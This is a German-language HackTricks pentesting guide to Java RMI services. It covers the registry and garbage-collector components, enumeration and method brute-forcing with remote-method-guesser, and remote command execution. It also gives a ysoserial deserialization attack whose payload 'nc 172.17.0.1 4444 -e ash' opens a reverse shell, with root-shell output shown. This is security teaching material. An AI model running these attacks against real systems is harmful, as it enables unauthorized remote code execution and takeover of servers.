# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
\ Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\ Heute Zugriff erhalten: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Grundlegende Informationen _Java Remote Method Invocation_ oder _Java RMI_ ist ein objektorientierter _RPC-Mechanismus_, der es einem Objekt in einer _Java Virtual Machine_ ermöglicht, Methoden auf einem Objekt in einer anderen _Java Virtual Machine_ aufzurufen. Dies ermöglicht es Entwicklern, verteilte Anwendungen unter Verwendung eines objektorientierten Paradigmas zu schreiben. Eine kurze Einführung in _Java RMI_ aus offensiver Perspektive finden Sie in [diesem Blackhat-Talk](https://youtu.be/t\_aw1mDNhzI?t=202). **Standardport:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` In der Regel sind nur die Standard-_Java RMI_-Komponenten (das _RMI-Register_ und das _Aktivierungssystem_) an gängige Ports gebunden. Die _Remote-Objekte_, die die tatsächliche _RMI_-Anwendung implementieren, sind normalerweise an zufällige Ports gebunden, wie im obigen Output gezeigt. _nmap_ hat manchmal Schwierigkeiten, _SSL_-geschützte _RMI_-Dienste zu identifizieren. Wenn Sie auf einem gängigen _RMI_-Port einen unbekannten SSL-Dienst finden, sollten Sie weitere Untersuchungen durchführen. ## RMI-Komponenten Um es einfach auszudrücken, ermöglicht _Java RMI_ einem Entwickler, ein _Java-Objekt_ im Netzwerk verfügbar zu machen. Dies öffnet einen _TCP_-Port, an den sich Clients verbinden und Methoden des entsprechenden Objekts aufrufen können. Obwohl dies einfach klingt, gibt es mehrere Herausforderungen, die _Java RMI_ lösen muss: 1. Um einen Methodenaufruf über _Java RMI_ zu verteilen, müssen Clients die IP-Adresse, den empfangenden Port, die implementierte Klasse oder das Interface und die `ObjID` des Zielobjekts kennen (die `ObjID` ist ein eindeutiger und zufälliger Bezeichner, der erstellt wird, wenn das Objekt im Netzwerk verfügbar gemacht wird. Sie ist erforderlich, da _Java RMI_ es ermöglicht, dass mehrere Objekte auf demselben _TCP_-Port lauschen). 2. Remote-Clients können Ressourcen auf dem Server zuweisen, indem sie Methoden auf das freigegebene Objekt aufrufen. Die _Java Virtual Machine_ muss verfolgen, welche dieser Ressourcen noch in Verwendung sind und welche davon vom Garbage Collector entfernt werden können. Die erste Herausforderung wird durch das _RMI-Register_ gelöst, das im Grunde ein Namensdienst für _Java RMI_ ist. Das _RMI-Register_ selbst ist auch ein _RMI-Dienst_, aber das implementierte Interface und die `ObjID` sind festgelegt und allen _RMI_-Clients bekannt. Dies ermöglicht es _RMI_-Clients, das _RMI-Register_ zu nutzen, indem sie lediglich den entsprechenden _TCP_-Port kennen. Wenn Entwickler ihre _Java-Objekte_ im Netzwerk verfügbar machen möchten, binden sie diese normalerweise an ein _RMI-Register_. Das _Register_ speichert alle Informationen, die zum Verbinden mit dem Objekt erforderlich sind (IP-Adresse, empfangender Port, implementierte Klasse oder Interface und den Wert der `ObjID`) und macht sie unter einem menschenlesbaren Namen (dem _gebundenen Namen_) verfügbar. Clients, die den _RMI-Dienst_ nutzen möchten, fragen das _RMI-Register_ nach dem entsprechenden _gebundenen Namen_, und das Register gibt alle erforderlichen Informationen zurück, um eine Verbindung herzustellen. Somit ist die Situation im Grunde genommen die gleiche wie bei einem gewöhnlichen _DNS_-Dienst. Das folgende Listing zeigt ein kleines Beispiel: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` Die zweite der oben genannten Herausforderungen wird durch den _Distributed Garbage Collector_ (_DGC_) gelöst. Dies ist ein weiterer _RMI-Dienst_ mit einem bekannten `ObjID`-Wert und ist auf praktisch jedem _RMI-Endpunkt_ verfügbar. Wenn ein _RMI-Client_ beginnt, einen _RMI-Dienst_ zu nutzen, sendet er dem _DGC_ eine Information, dass das entsprechende _Remote-Objekt_ verwendet wird. Der _DGC_ kann dann die Referenzzählung verfolgen und nicht verwendete Objekte bereinigen. Zusammen mit dem veralteten _Aktivierungssystem_ sind dies die drei Standardkomponenten von _Java RMI_: 1. Das _RMI-Register_ (`ObjID = 0`) 2. Das _Aktivierungssystem_ (`ObjID = 1`) 3. Der _Distributed Garbage Collector_ (`ObjID = 2`) Die Standardkomponenten von _Java RMI_ sind seit geraumer Zeit bekannte Angriffsvektoren und es existieren mehrere Schwachstellen in veralteten _Java_-Versionen. Aus der Sicht eines Angreifers sind diese Standardkomponenten interessant, da sie bekannte Klassen/Interfaces implementiert haben und es leicht möglich ist, mit ihnen zu interagieren. Diese Situation ist bei benutzerdefinierten _RMI-Diensten_ anders. Um eine Methode auf einem _Remote-Objekt_ aufzurufen, muss man im Voraus die entsprechende Methodensignatur kennen. Ohne Kenntnis einer vorhandenen Methodensignatur gibt es keine Möglichkeit, mit einem _RMI-Dienst_ zu kommunizieren. ## RMI-Auflistung [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ist ein _Java RMI_-Schwachstellenscanner, der in der Lage ist, gängige _RMI-Schwachstellen_ automatisch zu identifizieren. Immer wenn Sie einen _RMI_-Endpunkt identifizieren, sollten Sie es ausprobieren: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.dev/well-hidden-development-folder/ [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` Die Ausgabe der Aufzählungsaktion wird in den [Dokumentationsseiten](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) des Projekts genauer erläutert. Abhängig vom Ergebnis sollten identifizierte Schwachstellen überprüft werden. Die von _remote-method-guesser_ angezeigten `ObjID`-Werte können verwendet werden, um die Betriebszeit des Dienstes zu bestimmen. Dies kann helfen, andere Schwachstellen zu identifizieren: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## Bruteforcing Remote Methods Auch wenn während der Enumeration keine Schwachstellen identifiziert wurden, könnten die verfügbaren _RMI_-Dienste dennoch gefährliche Funktionen offenlegen. Darüber hinaus sind bei der Kommunikation mit _RMI_-Standardkomponenten Deserialisierungsfilter vorhanden, aber bei der Kommunikation mit benutzerdefinierten _RMI_-Diensten sind solche Filter normalerweise nicht vorhanden. Das Wissen um gültige Methodensignaturen bei _RMI_-Diensten ist daher wertvoll. Leider unterstützt _Java RMI_ nicht das Auflisten von Methoden auf _Remote-Objekten_. Dennoch ist es möglich, Methodensignaturen mit Tools wie [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) oder [rmiscout](https://github.com/BishopFox/rmiscout) zu bruteforcen: ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` Identifizierte Methoden können wie folgt aufgerufen werden: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` Oder Sie können Deserialisierungsangriffe wie folgt durchführen: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` Weitere Informationen finden Sie in diesen Artikeln: * [Angriff auf Java RMI-Dienste nach JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) * [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) Neben dem Raten sollten Sie auch in Suchmaschinen oder auf _GitHub_ nach der Schnittstelle oder sogar der Implementierung eines gefundenen _RMI_-Dienstes suchen. Der _gebundene Name_ und der Name der implementierten Klasse oder Schnittstelle können hier hilfreich sein. ## Bekannte Schnittstellen [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) markiert Klassen oder Schnittstellen als `bekannt`, wenn sie in der internen Datenbank bekannter _RMI-Dienste_ des Tools aufgeführt sind. In diesen Fällen können Sie die `bekannt`-Aktion verwenden, um weitere Informationen zum entsprechenden _RMI-Dienst_ zu erhalten: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter ``` ## Shodan * `port:1099 java` ## Werkzeuge * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://github.com/BishopFox/rmiscout) * [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## Referenzen * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ## HackTricks Automatische Befehle ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ```
\ Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\ Heute Zugriff erhalten: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.